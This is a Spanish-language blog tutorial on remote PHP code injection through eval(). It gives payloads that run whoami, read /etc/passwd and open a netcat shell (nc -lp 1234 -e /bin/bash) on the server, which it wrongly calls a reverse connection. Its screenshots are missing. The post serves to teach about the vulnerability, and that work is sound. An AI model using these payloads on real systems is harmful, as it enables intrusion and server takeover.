GFSistemas Ecuador - Inyección de código malicioso en aplicaciones Web(PHP)
19
Junio
(0 votos)

Blog

Inyección de código malicioso en aplicaciones Web(PHP)

Owasp posee un TOP 10 de vulnerabilidades orientadas a aplicaciones web, sin duda la vulnerabilidad número 1 y la más relevante consiste en ataques de tipo Inyección. Las inyecciones SQL son las más conocidas, sin embargo existen muchos tipos de inyecciones como por ejemplo, Inyección Xpath, Inyección de Comandos, Inyección LDAP, etc.

En esta oportunidad nos enfocaremos en una vulnerabilidad en particular la cual consiste en Inyectar Código PHP de forma remota.

A continuación tenemos el siguiente escenario.

Inyección Código PHP - Escenario

Aparentemente tenemos un sitio web simple (sin mayor información sensible).

Inyección Código PHP – Parámetro “Message”

Sin embargo, tenemos un parámetro llamado message, el cual tiene como valor test. Como es posible observar en la imagen anterior, el valor test se ve reflejado dentro de la aplicación web. Si le cambiamos ese valor por cualquier cosa, nos devolverá el valor dentro del sitio web.

Inyección Código PHP – Cambiando valor de “Message”

Se podría intentar realizar diversos ataques como (XSS, SQli, LFI, etc), sin embargo el enfoque principal es intentar verificar si la aplicación es vulnerable a una inyección PHP de código remoto. Para ello, utilizaremos el siguiente vector de ataque:

print(exec('whoami'))

El comando whoami servirá para detectar que usuario está ejecutando el sitio web.

                                                                                    Inyección Código PHP – Cambiando valor de “Message”

Excelente, el sitio web es vulnerable, ya que como es posible apreciar, el comando whoami, logró ser exitoso, ya que nos retornó el nombre de usuario que está siendo utilizado con permisos sobre el sitio web, en este caso el usuario www-data. Pero ¿Por qué es vulnerable? Lamentablemente existen desarrolladores que utilizan métodos de impresión de datos no recomendados por PHP, como es el caso de la función Eval. 


Si vemos el código fuente del recurso phpi.php obtenemos lo siguiente:

                                                                                            Inyección Código PHP – Recurso vulnerable

En este recurso, se utiliza la función eval, la cual permite mostrar los datos por pantalla, sin embargo no se recomienda utilizarla ya que también es posible ejecutar comandos del sistema.

Por otra parte, y siguiendo con la explotación de la vulnerabilidad, podríamos además listar el archivo passwd de Linux.

Inyección Código PHP – Archivo Passwd

El problema de esto, es que solo me está mostrando la última línea del archivo. Si queremos mostrar el archivo iterando línea por línea comenzando desde la primera, debemos utilizar el comando head, de la siguiente manera:

print(exec('head -1 /etc/passwd'))

Con esto le decimos que nos muestre la primera línea del archivo (comenzando desde la primera), si queremos mostrar la segunda simplemente reemplazamos el -1 por el -2 y así sucesivamente.

Inyección Código PHP – Archivo Passwd línea 1

A continuación intentaremos realizar una conexión revesa, para poder obtener una shell de Linux y poder controlar el servidor web.

print(exec('nc -lp 1234 -e /bin/bash'))

Lo que hace este comando es decirle al intérprete que abra el puerto 1234 y lo mantenga a la escucha, de tal modo que si alguien se conecta a dicho puerto podrá obtener una Shell bash y ejecutar comandos de forma arbitraria.

Inyección Código PHP – Conexión Reversa

Máquina atacante:

 


Inyección Código PHP – Conexión Reversa a través del atacante


Se logró obtener una Shell inversa con el atacante. Por último crearemos un archivo de prueba para ratificar que tenemos el control del sistema.

 

 

 

 

Inyección Código PHP – Creando archivo HTML

                                                                                            Inyección Código PHP – Verificando el archivo creado

Modificado por última vez en Junio 19, 2017
Jorge Aguilar

En los últimos años he ayudado a profesionales y empresas a lograr un incremento sostenible en ventas y posicionar de una mejor forma su marca, en este blog compartiré muchos temas de actualidad e interés.

Sitio Web: gfsistemas.net

Asesoría Inmediata
(02)604 6802  
(02)604 6803

Contacto directo, Respuesta Inmediata 099 8933 278

Diseñamos Páginas Web Profesionales

Consultoría

Un servicio exclusivo para profesionales que quieren crear su marca personal, potenciar su presencia online o que quieren vender productos y servicios a través de Internet.

CUÉNTANOS CÓMO PODEMOS AYUDARTE

Nuestras Marcas
ecuador 360 gfm  paraiso host

Ventas: ventas@gfsistemas.net

SOPORTE TÉCNICO